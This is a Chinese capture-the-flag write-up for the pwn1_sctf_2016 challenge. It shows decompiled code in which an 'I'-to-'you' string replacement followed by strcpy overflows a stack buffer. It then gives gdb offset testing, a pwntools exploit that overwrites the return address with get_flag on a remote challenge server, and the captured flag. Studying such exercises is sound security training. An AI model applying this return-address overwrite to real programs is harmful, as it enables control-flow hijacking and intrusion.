附件拖进32位ida查看反编译c代码。
main函数
查看main函数发现调用了vuln函数
vuln函数
vuln函数会读取输入的字符串长度限制为32在读取字符串的时候并不会产生溢出漏洞,而是在strcpy出重新赋值时造成溢出。
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata); //读取字符串限制长度为32
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);//字符串进行替换 会把I替换成you
return printf("So, %s\n", &s);
}
gdb调试pwn程序
我们使用gdb测试pwn程序溢出长度,由于fgets函数限定了长度为32,我们利用I替换you这一点进行溢出测试。
测试
先输出20个I查看堆栈情况
IIIIIIIIIIIIIIIIIIII
溢出还没到ESP加大力度22个I
在EBP这个里字符串为youy,我们只多溢出了6个字符,说明到达ESP的溢出距离是22*3-2=64,然后加上get_flag函数的地址,即可getshell。
exp
from pwn import *
a = remote('redirect.do-not-trust.hacking.run',10020)
elf = ELF('C:\\Users\\63606\Desktop\CTF\CTF\\pwn1_sctf_2016')
buf = b"I" * 21 + b'a'
get_flag_address = (elf.symbols['get_flag'])
a.sendline((buf + p32(get_flag_address)))
a.interactive()
PTB{b0c8c20e-9e94-466e-b4c1-f7ae436bb96c}